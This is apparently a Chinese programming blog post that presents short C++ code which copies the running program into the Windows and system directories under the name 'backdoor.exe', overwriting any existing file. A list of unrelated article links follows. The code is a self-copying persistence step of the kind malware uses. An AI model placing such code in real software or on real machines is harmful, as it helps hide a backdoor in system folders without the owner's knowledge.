复制自身程序到Windows目录和系统目录下
2015-12-19 16:10
423 查看
#include "iostream" #include "windows.h" using namespace std; /* GetModuleFileName( //获得自身程序所在路径 HMODULE NULL, //在获得自身程序时使用NULL LPTSTR lpFilename, //保存程序自身所在路径 DWORD nSize //指定缓冲区的大小 ); GetWindowsDirectory( //获得Windows目录 LPTSTR lpBuffer, //保存Windows目录路径 UINT nSize //指定缓冲区的大小 ); GetSystemDirectory( //获得系统目录 LPTSTR lpBuffer, //保存系统目录路径 UINT nSize //指定缓冲区的大小 ); BOOL CopyFile( LPTSTR lpExistingFileName, //原文件路径 LPTSTR lpNewFileName, //该参数指向一个新文件的地址 BOOL bFailIfExists //TRUE 表示目的文件已存在,复制失败,FALSE 强行覆盖原文件 ); */ void CopySelf() { //保存自身程序的路径 char szSelfName[MAX_PATH] = {0}; //保存Windows目录的路径 char szWindowsPath[MAX_PATH] = {0}; //保存系统目录的路径 char szSystemPath[MAX_PATH] = {0}; //临时路径变量 char szTempPath[MAX_PATH] = {0}; GetModuleFileName(NULL, szSelfName, MAX_PATH); //获得自身程序所在路径 GetWindowsDirectory(szWindowsPath, MAX_PATH); //获得Windows目录 GetSystemDirectory(szSystemPath, MAX_PATH); //获得系统目录 strcat(szWindowsPath, "\\backdoor.exe"); strcat(szSystemPath, "\\backdoor.exe"); CopyFile(szSelfName, szWindowsPath, FALSE); //拷贝文件 CopyFile(szSelfName, szSystemPath, FALSE); } int main() { CopySelf(); return 0; }
相关文章推荐
- LeetCode 155:Min Stack
- UIWindow和UIView的简单使用
- 51nod 1403 有趣的堆栈 (找规律题)
- 性能测试知多少---吞吐量
- 黑马程序员_Java基础-GUI
- CSingleLock http://bbs.csdn.net/topics/310164806
- Oracle 12c里面select view权限没有的解决方法
- linux 文件操作和权限
- Python 基础【第十篇】内置类型
- iOS MD5加密和SHA-1加密
- iOS学习之 iOS9新特性UIStackView
- Ext.js5(编辑表格的内容celledit)(添加和删除的行为)(20)
- Organize Your Train part II【POJ--3007】【平衡二叉树】
- 18、osg3.2.1+qt5.5+vs2010例子,也是osg中的例子
- linux内核代码的编写初步以及makefile的配置
- linux内核代码的编写初步以及makefile的配置
- linux内核代码的编写初步以及makefile的配置
- 机房重构之数据库设计
- AndroidStudio中直接下载Github中的代码
- 动态规划第二弹!CCF模拟题 有趣的数(数位DP)